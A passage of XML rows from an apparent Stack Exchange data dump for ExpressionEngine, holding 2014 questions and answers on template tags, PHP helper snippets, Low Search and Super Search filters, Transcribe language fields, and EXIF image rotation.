'$(&quot;#title&quot;).attr(&quot;maxlength&quot;, &quot;'.$max_title.'&quot;);';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$out .= '$(&quot;[name=\'title\']&quot;).attr(&quot;maxlength&quot;, &quot;'.$max_title.'&quot;);';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3877" LastActivityDate="2014-12-15T00:19:44.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27145" PostTypeId="2" ParentId="26181" CreationDate="2014-12-15T11:57:40.720" Score="0" Body="&lt;p&gt;The main advantage of using Stash here is for markup reusability. In your example you've wrapped a simple &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tag around your &lt;code&gt;product_description&lt;/code&gt; variable... In real world use on a large site, that markup might be 50 lines long and be reused in a dozen different templates. Stash allows you to abstract that markup away so that you only need to update it once. In the pure LV approach, you'd need to repeat that markup 5 times.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-12-15T11:57:40.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27146" PostTypeId="1" CreationDate="2014-12-15T15:45:22.147" Score="0" ViewCount="38" Body="&lt;p&gt;I have channel entries with around 20 number fields, each containing a price: {price_1}, {price_2}, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display the lowest of these prices in the entry's template but am finding it strangely difficult to do!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My PHP skills are just copy and paste level, and I thought I could just do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo min({price_1},{price_2}...)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But some of the price fields may be empty, so I am getting PHP errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help gratefully received!&lt;/p&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2014-12-15T19:36:34.463" Title="How to display the lowest number from multiple fields - PHP?" Tags="|php|math|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27148" PostTypeId="1" AcceptedAnswerId="27195" CreationDate="2014-12-15T18:15:17.720" Score="2" ViewCount="126" Body="&lt;p&gt;I have a search module that grabs locations based on coordinates and estimates distances. I've decided to extend then channel class so I can take advantage of the entries method to display search results. In my method, I use an sql query to find the entry_ids and estimated distance. I then have the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function search_results() {&#xA;    ...&#xA;    $entry_ids = '4|24|265|23';&#xA;    $distances = array(&#xA;        1.023536,&#xA;        1.254824,&#xA;        3.000325,&#xA;        4.923142&#xA;    );&#xA;&#xA;    ee()-&amp;gt;TMPL-&amp;gt;tagparams['entry_id'] = $search_ids;&#xA;    return parent::entries();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works great with the following code in my template, with one problem:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:module:results}&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;span&amp;gt;{distance}&amp;lt;/span&amp;gt;&#xA;        &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;/location/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;div&amp;gt;{my_custom_field}&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;{/exp:module:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;distance&quot; is not a channel field, but that calculated value. Any suggestions on how I can inject that into the parsing per row?&lt;/p&gt;&#xA;" OwnerUserId="2283" LastEditorUserId="2283" LastEditDate="2014-12-17T19:24:02.950" LastActivityDate="2014-12-19T08:50:03.463" Title="Add-on Dev: Extending channel-&gt;entries and tagdata" Tags="|channel-entries|add-on-development|plugin|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27150" PostTypeId="1" CreationDate="2014-12-15T19:28:06.340" Score="1" ViewCount="86" Body="&lt;p&gt;I have a supersearch form with checkbox filters for a custom field. The results are working great and the url looks like this: /search&amp;amp;amenities=dryer&amp;amp;&amp;amp;dvd&amp;amp;&amp;amp;fireplace/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm trying to set the conditionals to make the active checkbox checked. Following the docs here's what I've tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input&#xA;type=&quot;checkbox&quot;&#xA;name=&quot;amenities[]&quot;&#xA;value=&quot;dvd&amp;amp;&amp;amp;&quot;&#xA;{if super_search_amenities_dvd}checked=&quot;checked&quot;{/if}/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &amp;amp;&amp;amp; at the end of the value are made to chain more than one filter (dryer&amp;amp;&amp;amp;dvd). I also tried &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if super_search_amenities_dvd&amp;amp;&amp;amp;}checked=&quot;checked&quot;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it doesn't work. Any ideas? How can I make this conditional work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;S-&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2015-03-17T01:45:53.877" Title="Supersearch conditionals on custom fields" Tags="|solspace|supersearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27151" PostTypeId="2" ParentId="27146" CreationDate="2014-12-15T19:36:34.463" Score="1" Body="&lt;p&gt;How about this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$list = array('{price_1}','{price_2}','{price_3}','{price_4}');&#xA;$result = array_filter( $list, 'strlen' );&#xA;echo min($result); &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2014-12-15T19:36:34.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27152" PostTypeId="1" CreationDate="2014-12-15T20:23:43.437" Score="0" ViewCount="100" Body="&lt;p&gt;I have just purchased Low Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to perform multiple keyword searches like the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Holiday, Cyprus&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not return the same results as if I searching for the following individually:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Holiday&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cyprus&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would expect is results based on keyword Holiday and ALSO keyword Cyprus but this is not the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A heads up on this would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3842" LastActivityDate="2016-05-20T00:49:00.400" Title="Multiple keywords low search" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27153" PostTypeId="2" ParentId="10673" CreationDate="2014-12-15T21:48:51.290" Score="2" Body="&lt;p&gt;I managed to get this working. Here's how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a hack for VZ Exif (by Eli Van Zoeren) that reads in orientation data. You can use this with CE Image to accomplish conditional rotation based on the photo's orientation. &lt;a href=&quot;https://gist.github.com/alexgleason/d6f572ea6e3d9aa7173d&quot; rel=&quot;nofollow&quot;&gt;Click here to download the hack&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Put the hacked plugin in ./system/expressionengine/third_party/vz_exif/pi.vz_exif.php&lt;/li&gt;&#xA;&lt;li&gt;Install and enable CE Image&lt;/li&gt;&#xA;&lt;li&gt;Use the below code in your template, replacing {photo} with the relevant field.&#xA;&lt;code&gt;&#xA;{exp:vz_exif image=&quot;{photo}&quot;}&#xA;{if orientation == &quot;1&quot;}&#xA;    {exp:ce_img:single src=&quot;{photo}&quot;}&#xA;{if:elseif orientation == &quot;2&quot;}&#xA;    {exp:ce_img:single src=&quot;{photo}&quot; flip=&quot;h&quot;}&#xA;{if:elseif orientation == &quot;3&quot;}&#xA;    {exp:ce_img:single src=&quot;{photo}&quot; rotate=&quot;180&quot;}&#xA;{if:elseif orientation == &quot;4&quot;}&#xA;    {exp:ce_img:single src=&quot;{photo}&quot; flip=&quot;v&quot;}&#xA;{if:elseif orientation == &quot;5&quot;}&#xA;    {exp:ce_img:single src=&quot;{photo}&quot; flip=&quot;h&quot; rotate=&quot;-270&quot;}&#xA;{if:elseif orientation == &quot;6&quot;}&#xA;    {exp:ce_img:single src=&quot;{photo}&quot; rotate=&quot;-90&quot;}&#xA;{if:elseif orientation == &quot;7&quot;}&#xA;    {exp:ce_img:single src=&quot;{photo}&quot; flip=&quot;h&quot; rotate=&quot;-90&quot;}&#xA;{if:elseif orientation == &quot;8&quot;}&#xA;    {exp:ce_img:single src=&quot;{photo}&quot; rotate=&quot;-270&quot;}&#xA;{if:else}&#xA;    {exp:ce_img:single src=&quot;{photo}&quot;}&#xA;{/if}&#xA;{/exp:vz_exif}&#xA;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You may want to use some of CE Image's other options too. That's it! The result is a page that handles EXIF orientation better than Google Drive, Dropbox, Github, Imgur, Pinterest, Tumblr, WordPress, and many others.&lt;/p&gt;&#xA;" OwnerUserId="3879" LastActivityDate="2014-12-15T21:48:51.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27154" PostTypeId="2" ParentId="27143" CreationDate="2014-12-16T00:48:40.783" Score="2" Body="&lt;p&gt;We ran into the same issue with Transcribe and Playa fields. We had a 'staff' channel (amongst many others) so we had lots of identically named entries for each person in each language (4 x John Smiths, etc), so it was tricky trying to pick the correct language 'John Smith' in a Playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, the ideal solution would be if there was a Transcribe extension that had the option to automatically filter the Playa/Relationship entries by language, or else add a language column or label to these fields so you can easily choose the correct language entry. I think that's a feature request though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, Tom from EE Harbour suggested the following workaround to us:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Most people end up adding the language prefix to the title of the entry. From there, they create a &quot;Display Title&quot; field that they use in the template to actually display the title without the language prefix.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is probably the simplest workround and the one that we'd recommend if we did this again. At the time though, we weren't keen on using the Title field in this way, and having to create a Display Title field. It seemed like extra work and extra copying and pasting for the client. It would have been the most simple solution for us to implement though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So rather than use the above workaround, we created a 'Language' category group, and created a category for each language that's being used on the site. We then used the &lt;a href=&quot;https://devot-ee.com/add-ons/category-field&quot; rel=&quot;nofollow noreferrer&quot;&gt;Category Field&lt;/a&gt; add-on to add a 'Language Helper' custom field (showing a single option category drop down) to each channel that appears in Playa fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IMP7D.png&quot; alt=&quot;Language Helper Dropdown Field&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when the client is using a Playa field, they can use the category filters to filter the entries by language:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/754yu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client wasn't 100% happy with having to manually set this additional dropdown field for every entry, so we added the following JS to the control panel (adding it to the Custom Javascript field within the &lt;a href=&quot;https://devot-ee.com/add-ons/cp-css-js&quot; rel=&quot;nofollow noreferrer&quot;&gt;CP CSS &amp;amp; JS&lt;/a&gt; add-on) to make this field automatically populate itself based on the Transcribe Language Association dropdown (and we made sure our category names exactly matched the labels in this dropdown).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following code, field ID's 95-106 are all the 'Language Helper' custom fields we added to the various channels on the site, so you might not need so many if you have a smaller site).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(window).on('load', function() {&#xA;  var transcribeModule = (function() {&#xA;&#xA;    var $hold_field = $('#sub_hold_field_transcribe__transcribe_language').find('select');&#xA;    if(!$hold_field.length) {&#xA;      return false;&#xA;    }&#xA;&#xA;    var $target_field = $('#hold_field_94.publish_category_field, #hold_field_95.publish_category_field, #hold_field_96.publish_category_field, #hold_field_97.publish_category_field, #hold_field_98.publish_category_field, #hold_field_99.publish_category_field, #hold_field_100.publish_category_field, #hold_field_101.publish_category_field, #hold_field_102.publish_category_field, #hold_field_103.publish_category_field, #hold_field_104.publish_category_field, #hold_field_105.publish_category_field, #hold_field_106.publish_category_field').find('select.category_field_select');&#xA;&#xA;    if(!$target_field.length) {&#xA;      return false;&#xA;    }&#xA;&#xA;    function mirrorFields() {&#xA;      var selected_text = $hold_field.find(':selected').text();&#xA;      $target_field.find('option').each(function() {&#xA;        var $this = $(this);&#xA;        $this.removeAttr('selected');&#xA;        if($this.text() == selected_text) {&#xA;          $this.attr('selected', true);&#xA;        }&#xA;      });&#xA;    }&#xA;&#xA;    mirrorFields();&#xA;&#xA;    $hold_field.on('change', function() {&#xA;      mirrorFields();&#xA;    });&#xA;  }());&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So all in all, there's no ideal solution that we know of here, but hopefully, one these two workaround are of use to you.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2014-12-16T00:48:40.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27155" PostTypeId="2" ParentId="27150" CreationDate="2014-12-16T02:18:05.413" Score="0" Body="&lt;p&gt;Super Search's &lt;code&gt;{super_search_FIELD_checkboxvalue}&lt;/code&gt; was made with &lt;em&gt;OR&lt;/em&gt; searches in mind (not &lt;em&gt;AND&lt;/em&gt; searches). Using &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; in fact throws a PHP error as Super Search can't read something like &lt;code&gt;{super_search_amenities_dvd&amp;amp;&amp;amp;}&lt;/code&gt; properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, &lt;code&gt;{super_search_amenities}&lt;/code&gt; should output &lt;code&gt;dryer&amp;amp;&amp;amp;dvd&amp;amp;&amp;amp;fireplace&lt;/code&gt;, which means you could break up this string using PHP and use the individual values in conditionals to output your &lt;code&gt;checked=&quot;checked&quot;&lt;/code&gt; string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, turn on PHP for your template and set it to &lt;strong&gt;Output&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, break up the string into an array of individual categories:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $items = explode(&quot;&amp;amp;&amp;amp;&quot;, '{super_search_amenities}'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Next, for each checkbox field, loop through each item in the array and use a conditional to check if there's a match with your checkbox field value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach($items as $item) :?&amp;gt;&#xA;    &amp;lt;?php if($item == 'dvd') :?&amp;gt;&#xA;        checked=&quot;checked&quot;&#xA;    &amp;lt;?php endif ?&amp;gt;&#xA;&amp;lt;?php endforeach ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Repeat for each checkbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Perhaps too lengthly?&lt;/strong&gt; PHP has more than one way to deal with data. You could instead create an array of your checked values and check if each checkbox field item is in this array. Starting from the top:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $items = explode(&quot;&amp;amp;&amp;amp;&quot;, '{super_search_amenities}'); /* --Break up the Super Search string-- */ ?&amp;gt;&#xA;&#xA;&amp;lt;?php $item_array = array(); /* --Start with an empty array-- */ ?&amp;gt;&#xA;&#xA;&amp;lt;?php if(count($items) &amp;gt; 0) :?&amp;gt;&#xA;    &amp;lt;?php foreach($items as $item) :?&amp;gt;&#xA;        &amp;lt;?php $item_array[] = $item; /* --Adding checked items to the array-- */ ?&amp;gt;&#xA;    &amp;lt;?php endforeach ?&amp;gt;&#xA;&amp;lt;?php endif ?&amp;gt;&#xA;&#xA;{!-- &#xA;     The array is now built. &#xA;     Now go through your checkbox fields, and with a single line&#xA;     check if each value is in $item_array, eg. : &#xA;--} &#xA;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;amenities[]&quot; value=&quot;dvd&amp;amp;&amp;amp;&quot; &#xA;   &amp;lt;?php if( in_array('dvd', $item_array) ) :?&amp;gt;checked=&quot;checked&quot;&amp;lt;?php endif ?&amp;gt;&#xA;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Repeat for each checkbox.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Based on the solution for breaking up category values found here: &lt;a href=&quot;http://support.solspace.com/solution/categories/115922/folders/257413/articles/184200-handling-searches-with-multiple-categories-or-multiple-values-for-a-custom-field-i-e-an-array-of-se&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/solution/categories/115922/folders/257413/articles/184200-handling-searches-with-multiple-categories-or-multiple-values-for-a-custom-field-i-e-an-array-of-se&lt;/a&gt; , and modified for this answer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-12-16T02:18:05.413" CommentCount="0" CommunityOwnedDate="2014-12-16T02:18:05.413" ContentLicense="CC BY-SA 3.0" />
  <row Id="27156" PostTypeId="1" CreationDate="2014-12-16T02:43:52.393" Score="1" ViewCount="95" Body="&lt;p&gt;I've got a site with a list of entries on a single page (I'm not using single entry pages) and I'd like an elegant way to let users flag entries on this page without adding a ton of extra code (such as with forms for each entry). Ideally, this method would be able to change the status of the entry to &quot;closed&quot; when a certain number of flags have been reached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've reviewed all the modules I can find out there which attempt to do some of these things but they are all designed to add a form to a single entry page rather than a list of entries on one page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, if I were to use these modules, such as FlagMaster, I would end up with a form on my page for each entry and the code would make the page massively more complex and weighty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest how to flag entries in this manner? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2876" LastEditorUserId="2876" LastEditDate="2015-08-10T22:30:45.327" LastActivityDate="2016-05-21T08:57:52.823" Title="Clever ways to flag EE entries and comments?" Tags="|entries|spam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27157" PostTypeId="2" ParentId="27114" CreationDate="2014-12-16T03:25:53.113" Score="0" Body="&lt;p&gt;Actually if you are using this within an entry, it is easiest to just use the field name. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;whatever&quot; limit=&quot;1&quot;}&#xA;&#xA;{my_files_custom_field}&#xA;&amp;lt;a href=&quot;{file:url}&quot;&amp;gt;{file:title}&amp;lt;/a&amp;gt;&#xA;{/my_files_custom_field}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work and you get empty values for the url and title you are most likely having some variable collision. Most likely you called the channel field &quot;files&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So do this then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;whatever&quot; limit=&quot;1&quot;}&#xA;&#xA;{my_files_custom_field prefix=&quot;cf&quot;}&#xA;&amp;lt;a href=&quot;{cf:url}&quot;&amp;gt;{cf:title}&amp;lt;/a&amp;gt;&#xA;{/my_files_custom_field}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will see here I am changing the variable prefix so it doesn't conflict with another variable called &quot;files&quot;.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-12-16T03:25:53.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27158" PostTypeId="2" ParentId="27156" CreationDate="2014-12-16T05:21:37.263" Score="0" Body="&lt;p&gt;What kind of spam do you mean? Comment spam? Registration? Honee pot is an effective way of dealing with it and recaptcha is as well. Definitely lots of ways of fighting it. Even the built blacklist/whitelist addition has been helpful too. &lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="6825" LastEditDate="2015-12-09T23:11:47.733" LastActivityDate="2015-12-09T23:11:47.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27159" PostTypeId="2" ParentId="27152" CreationDate="2014-12-16T08:20:41.850" Score="0" Body="&lt;p&gt;Yes, with Low Search you can use multiple keywords. Here are &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;the docs on the Keywords filter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, check out the &lt;code&gt;search_mode&lt;/code&gt;. By default, this is set to &lt;em&gt;All&lt;/em&gt;, meaning searching for &quot;holiday cyprus&quot; will return entries that contain both &quot;holiday&quot; &lt;em&gt;and&lt;/em&gt; &quot;cyprus&quot;. You can change that to &lt;em&gt;Any&lt;/em&gt;, which will return entries that contain either &quot;holiday&quot; &lt;em&gt;or&lt;/em&gt; &quot;cyprus&quot; (or both).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're getting unexpected results, submit a ticket in &lt;a href=&quot;https://getsatisfaction.com/low&quot; rel=&quot;nofollow&quot;&gt;the official Low Search support forums&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-12-16T08:20:41.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27161" PostTypeId="2" ParentId="27156" CreationDate="2014-12-16T09:20:32.557" Score="0" Body="&lt;p&gt;Free VZ-average is a framework for for rating and/or tallying.&lt;br&gt;&#xA;If you're comfortable with a bit of php coding by yourself,&lt;br&gt;&#xA;you can easily make a flagging solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/vz-average&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/vz-average&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-12-16T09:20:32.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27163" PostTypeId="1" CreationDate="2014-12-16T13:23:34.547" Score="1" ViewCount="125" Body="&lt;p&gt;I have a couple channels with different custom fields.&#xA;I would like to combine the entries of multiple channels using the search: parameter, however, I can't specify to which channel the search: parameter applies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something equivalent to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel='articles|videos|news'&#xA;&#xA;    search:[channel:articles]:article_videos=&quot;not IS_EMPTY&quot;&#xA;    search:[channel:videos]:video_url=&quot;not IS_EMPTY&quot;&#xA;    search:[channel:news]:news_video=&quot;not IS_EMPTY&quot;&#xA;&#xA;    limit=&quot;30&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can it be done?&#xA;Does someone has a suggestion? Custom query?&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-12-18T21:33:08.140" Title="search: different custom fields across multiple channels" Tags="|channel|search|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27164" PostTypeId="2" ParentId="27139" CreationDate="2014-12-16T14:42:35.117" Score="0" Body="&lt;p&gt;You would want to attach a listing channel to /showcase-counters/ and use a channel tag to call of those entries from the /showcase-counters/ template. Don't forget dynamic=&quot;no&quot; as EE requires this to call entries not related to the current URL structure (with or without Structure).&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2014-12-16T14:42:35.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27165" PostTypeId="1" AcceptedAnswerId="27167" CreationDate="2014-12-16T18:45:23.150" Score="0" ViewCount="93" Body="&lt;p&gt;I have a (low) search form set up like so (stripped out example) to search a collection Ive set up called 'walks'. This collection is for the 'walks' channel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;walks&quot; query=&quot;{segment_3}&quot; result_page=&quot;walks/results&quot;}&#xA;&#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;keywords&quot;/&amp;gt;&#xA;&#xA;  and then a category dropdown and two sets of checkbox fields to &#xA;  search within checkbox fields in the entries.&#xA;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It all works perfectly, apart from whenever I perform a search without entering a keyword, selecting a category from the dropdown, or checking any checkboxes. When doing this it returns entries from other channels. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why it would do this?&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2014-12-16T19:14:40.617" Title="Low search returning results from other channels when no options are selected" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27167" PostTypeId="2" ParentId="27165" CreationDate="2014-12-16T19:14:40.617" Score="2" Body="&lt;p&gt;As per version 3.0, Low Search &lt;a href=&quot;http://gotolow.com/addons/low-search/docs#to-3.0&quot; rel=&quot;nofollow&quot;&gt;doesn't accept filter-parameters in the Form tag&lt;/a&gt;. Instead, you should move these parameters to the Results tag or add them as (hidden) input fields inside the Form tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, try removing the collection=&quot;&quot; parameter (which is part of the &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;Keywords filter&lt;/a&gt;) from the Form tag, and add it to the Results tag instead.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-12-16T19:14:40.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27168" PostTypeId="1" CreationDate="2014-12-16T21:00:31.313" Score="0" ViewCount="114" Body="&lt;p&gt;I've upgraded EE to &lt;strong&gt;2.9.2&lt;/strong&gt; and have found some strange behaviour with Transcribe.  The problem is that some channel entries did not have a language set in the &lt;strong&gt;exp_transcribe_entries_languages&lt;/strong&gt; table.  This was not a big problem because I could just run a script to fix the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I have found that entries created via channel:forms do not even get an entry in the exp_transcribe_entries_languages table which means that these entries will not get displayed to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. A member entering a delivery address.  This address is stored but no record is created in the exp_transcribe_entries_languages table so that address will never be of use.  There must always be a valid language_id mapped to each channel entry for it to be displayed correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="1570" LastActivityDate="2017-06-21T11:01:21.600" Title="Transcribe and channel:forms" Tags="|safecracker|transcribe|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27169" PostTypeId="1" CreationDate="2014-12-16T21:45:20.970" Score="0" ViewCount="399" Body="&lt;p&gt;I am building a photo gallery. I have a folder called &quot;_small&quot; which has small thumbnail images in to of the photo gallery images. I am using Expression image Grid to build the page. How do I call the the small image since the code already requires a &quot;:&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{photos}&#xA;    &amp;lt;img src=&quot;{photos:image:small}&quot; alt=&quot;{photos:image_name}&quot;&amp;gt; &#xA;{/photos}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other areas I called thumbs by using something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;{image:small}&quot; alt=&quot;{image_name}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But grid requires the field followed by a : to work, which seems like to many :'s to process. Any thoughts.&#xA;Thanks for looking!&lt;/p&gt;&#xA;" OwnerUserId="3047" LastActivityDate="2014-12-17T02:25:14.043" Title="Using Grid and thumbnails to create a photo gallery" Tags="|templates|grid|image|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
